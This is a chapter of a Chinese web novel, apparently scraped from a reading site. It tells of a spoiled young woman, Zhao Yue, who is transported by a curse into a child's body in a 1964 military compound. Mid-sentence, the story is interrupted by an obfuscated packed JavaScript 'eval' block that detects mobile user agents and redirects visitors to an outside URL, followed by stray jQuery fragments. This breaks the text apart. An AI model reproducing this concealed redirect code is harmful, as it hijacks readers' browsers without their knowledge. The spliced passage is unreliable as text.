默认冷灰
24号文字
方正启体

1. 惊梦

作者:听暖a本书字数:K更新时间:
    夜色像一块被浸得微凉的丝绒,沉沉覆在城市上空。


    高档小区的落地窗隔绝了外界的喧嚣,只留室内一片暖得恰到好处的灯光。


    水晶吊灯的光细碎地洒下来,落在光洁的大理石地面上,映出丝绒沙发慵懒的轮廓。兆悦整个人陷在沙发正中,身体微微后仰,姿态散漫。


    茶几上摆着一只喝了一半的香槟杯,杯壁凝着细密的水珠,旁边摊着几本刚拆封的时尚杂志,页角卷着边,显然是被随手丢在那里。


    最新款的手机被她捏在指尖,有一下没一下地转着,屏幕的光映在她眼底,衬得那双本就生得极漂亮的眼睛,多了几分漫不经心的冷淡。


    玄关处格外扎眼。


    一大束裹着黑色哑光包装纸的红玫瑰被扔在地板上,花瓣蹭着冰凉的地砖,包装纸被踩出几道深深的褶皱,九十九朵玫瑰开得正盛,颜色浓烈得近乎张扬,却自始至终没有得到房间主人半分正眼。


    电话最终还是被接通,手机里的声音小心翼翼地传出来,带着讨好,又有几分不知所措:“悦悦,我真的挑了整个花市最好的玫瑰,九十九朵,不是随便应付的……”


    兆悦唇线微抿,轻轻嗤了一声。那声音不算大,却足够清晰,清甜里裹着冷意,没有半分商量的余地:“我要的是一后备箱。”


    对方顿了一下,语气越发为难:“可是一后备箱太招摇了,现在这个点,停在楼下太显眼,我想着稳妥一点……”


    “不用想。”


    她打断得干脆利落,指尖没有半点犹豫,直接按下红色挂断键。


    手机被她随手往沙发另一侧一丢,机身落在柔软的布料上,发出一声轻响。整套动作行云流水,没有迟疑,没有不舍,甚至连一丝情绪波动都没有。


    对于她而言,这不过是无数次类似场景里最普通的一次。


    从小到大,她身边从不缺围着她转的人。家境安稳,父母疼爱。


    钢琴从四岁坐到十四岁,指尖磨过薄茧又生出细腻,一首复杂的曲子听一遍便能记下大半;写作是她藏在骨子里的喜好,随笔、短篇、故事,随手写来都流畅自然;舞蹈房的镜子里,她记过无数个标准的姿态,身段柔软,节奏感天生就好。


    被人捧在手心里长大的姑娘,自有一套自己的标准,想要的东西一定要合心意,差一点都不行,不然再好也不稀罕。


    她没有说话,安静地靠在沙发上,目光在室内漫无目的地扫过。


    百无聊赖之下,她伸手捞过放在一旁的平板。指尖在屏幕上随意滑动,短视频刷了几条,便觉得索然无味。


    不知怎么,就停在了那部被无数人提及过的电影封面之上——《芳华》。


    她从未完整看过这部电影。


    但也并非一无所知。


    闲暇的时候,她刷过不少详细的拉片解说。


    从人物出场,到剧情转折,再到那些藏在青春外衣下的计较、自私、冷漠与温柔,解说者抽丝剥茧,把整个故事拆解得明明白白。


    谁是始终善良的人,谁是被孤立的人,谁是随波逐流的人,谁又是家境优渥、从头到尾置身事外的人,大致的走向她心里有数。


    可解说终究是别人嚼过一遍的东西。


    人物真正的眼神、语气、细微的动作、藏在平静表面下的心思,那些最鲜活的东西,她并没有真正见过。


    那些名字,那些场景,在她脑海里不过是一个个模糊的符号,一段别人口中的故事,和她隔着一层无形的屏幕,遥远得毫不相干。


    她只是忽然想看看,这部被捧得极高的电影,究竟是什么模样。


    影片开始播放至陈灿伸手,扶下萧穗子。就在这时,窗外猛地传来一阵尖锐的咒骂声。


    声音不算特别大,却隔着玻璃直直钻进来,带着被拒绝后的恼羞成怒与偏执,一字一顿,格外清晰:“兆悦!你一辈子都这么糟蹋别人的真心,总有一天要受折磨,永远都不得安生!”


    是刚才被她挂断电话的人。


    想来是堵在了楼下,不甘心,才隔着楼层喊出这样的话。


    兆悦眉梢微微一挑,眼底掠过一丝不耐,又带着几分觉得可笑的冷淡。


    这种幼稚的诅咒,在她听来毫无意义,甚至有些多余。她抬手,打算把窗帘拉上,隔绝外面的噪音与那莫名其妙的恨意。


    指尖刚碰到窗帘的拉绳,异变陡生,一束寒光闪过。


    平板屏幕里的光影像是突然活了过来,不再是静止的画面,而是化作一股汹涌的浪,猛地朝着她席卷而来。


    暖黄的灯光、水晶吊灯的碎光、沙发的轮廓、茶几上的香槟杯,所有熟悉的现代物件,在同一时间开始扭曲、变形、融化。


    耳边的咒骂声、远处的车声、空调运行的轻响,瞬间被抽离,只剩下一片混沌的嗡鸣。


    强烈的失重感猛地攥住她,像是从极高处坠落,又像是被卷入无边无际的漩涡。


    眼前的一切都在旋转、破碎、重组。她来不及发出任何声音,连惊讶都来不及浮现,意识便被一股巨大的黑暗吞没。


    没有痛,没有慌,只有一片空茫。


    不知过了多久。


    像是一秒,又像是漫长的一个世纪。


    鼻尖先于意识清醒。


    淡淡的皂角香,混着阳光晒透棉絮的干燥气息,还有一丝若有若无的中药清香,温和地裹着她。


    身下不是柔软的丝绒,而是略有些粗糙却格外干净的棉布被褥,触感踏实,带着微微的暖意。


    有人在轻轻抚摸她的头发。


    动作轻柔,带着小心翼翼的疼爱,指尖划过她的发顶,顺着发丝慢慢往下。


    一道温柔的女声在耳边响起,语调软软的,带着清晰的南方口音,像春水一样缓:“悦悦?醒一醒,我的小宝贝醒了没有?”


    兆悦的眼睫轻轻颤了颤。


    意识像是被一层薄雾蒙着,沉在混沌里,迟迟不肯完全清醒。


    她想开口问“你是谁”,想撑起身子看看周围,可身体却不听使唤。


    每动一下,都觉得格外吃力,胳膊短得反常,手也轻飘飘的,完全不属于自己熟悉的触感。


    她费力地掀开沉重的眼皮。


    第一眼看到的,不是熟悉的水晶吊灯。


    是一张老旧却结实的木质床顶,上面雕着简单的缠枝花纹,漆色沉稳,带着岁月的痕迹。


    再往上看,是素白的墙面,没有任何花哨的装饰,只在正对床的位置,贴着一张鲜红的标语,字迹工整有力,带着这个年代独有的庄重。


    视线慢慢移开。


    窗边摆着一张小小的木桌,桌上放着一只搪瓷缸,缸身印着简单的图案。


    旁边是一把木椅,椅面铺着一块碎花布。窗户是老式的木格窗,玻璃擦得干干净净,窗外有风吹进来,带着树叶的清香,还有远远传来的、整齐划一的口号声,一声接着一声,沉稳有力。


    这不是她的房间。


    这不是她的世界。


    兆悦的心脏猛地一缩。


    她下意识地抬起手,想揉一揉发沉的额头,可映入眼帘的东西,让她整个人瞬间僵住。


    那是一双极小极小的手。


    肉乎乎的,手指短短的,指甲盖圆圆的,皮肤白皙细嫩,连骨节都还没长开,完完全全是一个小孩子的手。


    她愣住了,整个人像被冻住一般,呆呆地看着自己的手,反复攥拳、松开,再攥拳。每一个动作都陌生得可怕。


    “哎哟,醒了就好,可别再发呆了。”


    耳边的声音再次响起。俯身看着她的女人慢慢直起身,又温柔地将她从被窝里扶起来。


    兆悦被动地靠着床头,这才完整地看清了眼前的人。


    女人穿着一身干净利落的浅灰色列宁装,领口整齐,腰束得恰到好处,短发也一丝不苟地挽在脑后,露出光洁的额头和温和的眉眼,很像自己的母亲,但不是


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17309083|198747||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    。


    气质端庄,眼神柔软,一看便是被教养得极好的人。她的手上带着一点薄茧,却动作轻柔,一点一点帮兆悦掖好被角。


    “饿不饿?奶奶一早就让厨房炖着蛋羹,现在温在灶上,正好能吃。”女人笑着,伸手轻轻捏了捏她的脸颊,触感细腻柔软,“咱们悦悦睡了这么久,肯定馋了。”


    兆悦张了张嘴。


    她想说话,想问这里是哪里,想问自己怎么了,想问为什么一切都变了。


    可从她喉咙里发出来的,不是她熟悉的清甜女音,而是一团软糯、奶声奶气、连吐字都不太清晰的孩童声音。


    “我……”


    只一个字,便足够让她心头发紧。


    “怎么了?是不是刚醒,还有点懵?”女人不以为意,只当她是睡迷糊了,伸手将她揽进怀里。


    小小的身子被拥在温暖的怀抱里,雪花膏淡淡的香气萦绕鼻尖,踏实又安心,“不懵啊,咱们悦悦最聪明了。


    今天你爷爷还特意交代,等你醒了,带你去大院里转一转,认识认识院里的小伙伴。以后咱们就要在这里住下来。”


    大院。


    小伙伴。


    爷爷。


    这几个词轻飘飘地落下来,却像石头一样砸在兆悦心上。


    她僵硬地靠在女人怀里,目光再次扫过房间——老式木床、搪瓷缸、木桌、墙上的标语、窗外的口号声、身上孩童的身躯、女人身上的列宁装……


    所有的线索,在这一刻疯狂地拼凑在一起。


    窗外那句诅咒还在耳边打转,刻薄又清晰。


    可她此刻并不知道,自己落在了何处。


    她只知道,眼前的一切陌生得可怕,房间、衣物、声音、年纪,全都不属于她曾经拥有的人生。


    她没有死,却也不再是原来的自己,像是被一股无法抗拒的力量,拽进了一段完全陌生的岁月。


    女人见她不说话,只当她还没彻底清醒,抱着她慢慢走到房间角落的穿衣镜前。兆悦的目光,不由自主地落在镜中。


    里面映出一个小小的姑娘。


    大约五六岁的模样,皮肤白皙,眉眼精致,眼尾微微上挑,带着南方孩子特有的灵秀。


    一头软软的黑发,被细心地扎成两个小小的羊角辫,辫梢系着浅红色的头绳。身上穿着一身碎花小褂,干净整洁,整个人像一颗刚剥出来的水蜜桃,鲜嫩又娇贵。


    这是她,又不是她。


    “来,把小鞋子穿上。”女人蹲下身,从床底拿出一双绣着小兰花的布鞋,鞋底软软的,鞋面干净。


    她握住兆悦小小的脚,细心地帮她套进去,系好鞋带,“怎么?害怕啦?咱们家悦悦生得好看,家世又好,你爷爷是打过仗、立过功的人,


    以后在大院里,谁也不能欺负你,知道么?”


    每一个信息,都在告诉她——这里不是她的身世,她不知道这是哪一段历史,不知道未来会走向哪里,更不知道自己会在这里待多久。


    她只清楚,曾经随心所欲、被人捧在掌心的日子,已经彻底消失在那场突如其来的光影漩涡里。


    她似乎成了一个六岁小姑娘。


    拥有一个安稳显赫的家。


    住进了人人敬畏的军区大院。


    窗外的阳光越过木窗,斜斜地洒进来,落在她小小的脸颊上,暖得有些不真实。


    远处的军号声隐约响起,清脆、整齐,穿透层层树叶,落在每一个角落。


    风穿过树梢,带着草木清新的气息,轻轻拂过她的眼睫。


    兆悦怔怔地望着墙上的日历,1964年。


    过去的人生,在光影破碎的那一刻,彻底落幕。


    而属于她的,在这个陌生年代里的漫长岁月,才刚刚拉开第一重幕布。


    她不知道前路是安稳还是颠簸,是温暖还是折磨,只知道从这一刻起,她要以一个全新的身份,在1964年,一步步走下去。
(←快捷键) <<上一章 投推荐票 回目录 标记书签 下一章>> (快捷键→)